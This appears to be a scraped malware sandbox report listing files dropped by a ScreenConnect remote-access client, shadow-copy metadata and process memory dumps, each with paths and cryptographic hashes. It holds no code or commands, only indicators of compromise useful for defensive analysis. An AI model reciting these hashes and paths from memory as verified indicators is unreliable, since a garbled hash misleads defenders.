SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
MD5 SHA1 SHA512 SSDEEP

Submit Download

2miq4iac.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\2miq4iac.newcfg
Size 589B
SHA256 0dc6b27bf26e6fec2859c9a599c62e749fd99439348561ca766ead5bd2347393
MD5 db04fef93f8cb70034f95283819e144e
SHA1 a29a8182e4f4ae182d62a909ed574b14131c2a8d
SHA512 f4389b60f1d41c12f12d7f10cf2ceb624aea471dd4e66657b27297a58ad817a49e6af157f049810e0da4bf2311a7a1bc522c2d5c7d6055bb7886e90da70192ad
MD5 SHA1 SHA512

Submit Download

a4y1or33.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\a4y1or33.newcfg
Size 589B
SHA256 85e9512e8bdf862e19d46a64837f73011e315378b0381db01cd9c912e1d143c7
MD5 a7616eaae264f3c5be97031386f12182
SHA1 a7c5c4caee7e19cd728058805a0acbcef3ea7d17
SHA512 534c364bc0be81a3b97b5b2b125b7bba6445e590d14425b098908e348f3fdaecd20497827f6f5de7bd4ebecfd02ffe82de216b4b6bf7fc18ead42b621f6d0708
MD5 SHA1 SHA512

Submit Download

cyhsmrsn.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\cyhsmrsn.newcfg
Size 589B
SHA256 e095fe9ab256473fc40dc299b7f92901c76b895aadd3adc85856b5e0b3259df2
MD5 eb55d4efcf61afc5f30449278e9177de
SHA1 1fe9b5af7dc701e1d4c4e14b0b992347b2e48e5e
SHA512 b857b67538c367568b115792e23da6a1e2017d48be51f00b40fbc7f37989ee0bf8ab5c98f45ced932997254134338cfe1dec62dfedb63e65a010e070c6461294
MD5 SHA1 SHA512

Submit Download

g2t3wjyl.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\g2t3wjyl.newcfg
Size 589B
SHA256 012f0b767354dd15be2c4d8beb18fc6acca0b23d71f31438d4fac66cd1b87941
MD5 b0b8c6d610fd16aae5994ad13d08e9f9
SHA1 4359376d35cebae581eee2cac9feef0b8b59d8b8
SHA512 f3fac82904554367680a6cef57056e58ef146eb690ce11f79b725cf6a409257c27145871fae5ee059dcb13c24a4abec7bbb91ce43cc164d6ea311341e367272b
MD5 SHA1 SHA512

Submit Download

nkwlhuys.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\nkwlhuys.newcfg
Size 589B
SHA256 0f4cf641ec1545322baa3625b4a96e5d2faf5cde1e8eebbe0b8b834d8266008b
MD5 d0efeeffba93f956e69ef0973db1b338
SHA1 56fe58c314034f8fce41d41d7c9784318eb50af2
SHA512 336f9b6c14187d7f48ebaa1695ac127fe55513274c5e7b5ad7489398d3822767d071cd77808597c9cd068e00e3331fe6ee12840310c9e585d0e76f184ed9ffef
MD5 SHA1 SHA512

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config
Size 589B
SHA256 5ebcbd3b5a38599d32002b9389709fb5d27e50279035f6e38b8758c4a9c4b2f9
MD5 4571acb0bec76fdd8e45e6b7bdf990e1
SHA1 7ddc0bc41ead8767143c974a925eb75f013cca0d
SHA512 88d644cfd379d53694f58b09b6fe72eca991542a385a39e134739a4ed1955787cc1b7d3de345dbb9eaab0e26b3962ba3743c85567c3d24c195bc7819866edbd1
MD5 SHA1 SHA512

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config
Size 589B
SHA256 0cab059439cb2f430e871e158c6ebe606322253f90edebf293c38c2a122443ba
MD5 55058f45bb9cf4b1439046ede0c88569
SHA1 fa3b90a524032487c6f9ee047a7c98b99e4ee53e
SHA512 d1e9005d377d055f40fd23baf1390a370c0c6aa8a08aae89d407d15298f3332cbbf4790a0c199ce4581c22d27b914fa12938ce10914fad6a65e5390f0c6ea7d3
MD5 SHA1 SHA512

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config
Size 589B
SHA256 04b3905fc937d4cbafa7c9de8e9a1da35dc13a8f3fba5413cb042816bad5b184
MD5 ca94531daa0068836eec2251f785d275
SHA1 6a1744be58ac7efb33f3719fa1b84524efc75185
SHA512 8e4fa05c23efc1afb8e5efb2816436b8bdf43569a94d9c6fcfed58e63b27472c7cf5c8c0bb60fbf0508150af55de62e68475d9ce2f6964fa9ac288a0cdef3cf9
MD5 SHA1 SHA512

Submit Download

vgmmenes.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vgmmenes.newcfg
Size 589B
SHA256 d205823c213727cc9931818091e3bd9ea33615ce496b0e3d2badcf3302e9e458
MD5 3673ac5d4f3e3e6a0ecbe6df48e9ece0
SHA1 2e01a39c515f10d6fd4eac10aa531b484686382a
SHA512 a3f2002316811c8a2a99d76bcbc9f4fc97122ba686b22a6473d81e3ef483c5703093ae546b070690eaa97f9f285cdffd4eff8cbac0aa28b097aeea9514189b5d
MD5 SHA1 SHA512

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 24.1MB
SHA256 c63d9673598aab7edbad43f0344264592eadfa80dd178cf9575302a6b1dde33d
MD5 5e62760fd06e7d60c7c802ba33353d83
SHA1 467cdc66c2a14818df1d56af5c476f30bd8746ee
SHA512 440a1d9d85a4a2bb985bd990078c830636490dcc0040036abd47674ff69ad31a8ed3371a4c445e861bc88779c76c5efbec59bc576e8aac4abbd1957b65d00914
SSDEEP 24576:7Zxm+1IddoO/vvTLfWbe+mqvqik/j1LyX9GN50KVT0aaOcyJIP1ITzQxeR:Mf
MD5 SHA1 SHA512 SSDEEP

Submit Download

{f7a7b49f-3001-4e9f-a423-680e0a08502e}_OnDiskSnapshotProp

Path \??\Volume{55e447d8-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{f7a7b49f-3001-4e9f-a423-680e0a08502e}_OnDiskSnapshotProp
Size 6KB
SHA256 c44fe678b364c6363d5444ee54c0c00659f72611fbb59438f56ea59890b2245f
MD5 77a24cd88dc82cf54f9b997139366fb0
SHA1 387a189a37e31bca0f5c731b2597ac5e5924a12f
SHA512 1c732302bba223f8760753404bb2476d9547d9367cc20014bb07c04cbb2c72d85e26c4799e2922a23db62e6cbcd309de56f2c6b4382f34de6d4128ff8d00472f
SSDEEP 96:FWNzgdMQHCMFDD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:Uc1b++ZVm
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1380-53-0x0000000005140000-0x00000000052EE000-memory.dmp

Download

memory/1380-41-0x0000000004DB0000-0x0000000004DDE000-memory.dmp

Download

memory/1380-45-0x0000000004DF0000-0x0000000004DFA000-memory.dmp

Download

memory/1380-49-0x0000000004F00000-0x0000000004F8E000-memory.dmp

Download

memory/4776-11-0x0000000005C80000-0x0000000005C90000-memory.dmp

Download

memory/4776-6-0x0000000005C90000-0x0000000005E3E000-memory.dmp

Download

memory/4776-7-0x0000000006400000-0x00000000069A4000-memory.dmp

Download

memory/4776-5-0x0000000005C60000-0x0000000005C84000-memory.dmp

Download

memory/4776-4-0x0000000005BD0000-0x0000000005C5E000-memory.dmp

Download

memory/4776-3-0x0000000003550000-0x0000000003558000-memory.dmp

Download

memory/4776-2-0x0000000005C80000-0x0000000005C90000-memory.dmp

Download

memory/4776-1-0x0000000001CE0000-0x0000000001CE8000-memory.dmp

Download

memory/4776-8-0x0000000005F50000-0x0000000005FE2000-memory.dmp

Download

memory/4776-9-0x0000000005C80000-0x0000000005C90000-memory.dmp

Download

memory/4776-0-0x0000000005C80000-0x0000000005C90000-memory.dmp

Download

memory/4776-10-0x0000000005C80000-0x0000000005C90000-memory.dmp

Download

memory/5176-109-0x00000000045D0000-0x000000000477E000-memory.dmp

Download

memory/5176-119-0x00000000049D0000-0x0000000004AA5000-memory.dmp

Download

memory/5176-99-0x0000000001CB0000-0x0000000001CC8000-memory.dmp

Download

memory/5176-105-0x0000000004390000-0x000000000441E000-memory.dmp

Download

memory/5176-111-0x00000000044B0000-0x0000000004500000-memory.dmp

Download

memory/5176-115-0x0000000004780000-0x00000000047E8000-memory.dmp

Download

memory/5176-117-0x0000000004500000-0x0000000004541000-memory.dmp

Download

memory/5952-143-0x000000001E220000-0x000000001E3A6000-memory.dmp

Download

memory/5952-140-0x0000000002810000-0x0000000002878000-memory.dmp

Download

memory/5952-139-0x0000000000660000-0x00000000006FA000-memory.dmp

Download

memory/5952-142-0x000000001CE30000-0x000000001CFDE000-memory.dmp

Download

memory/5952-141-0x000000001CBF0000-0x000000001CC7E000-memory.dmp

Download

memory/5952-144-0x0000000002750000-0x0000000002768000-memory.dmp

Download

memory/5952-145-0x0000000002790000-0x00000000027A8000-memory.dmp

Download

memory/5952-146-0x00000000027C0000-0x0000000002801000-memory.dmp

Download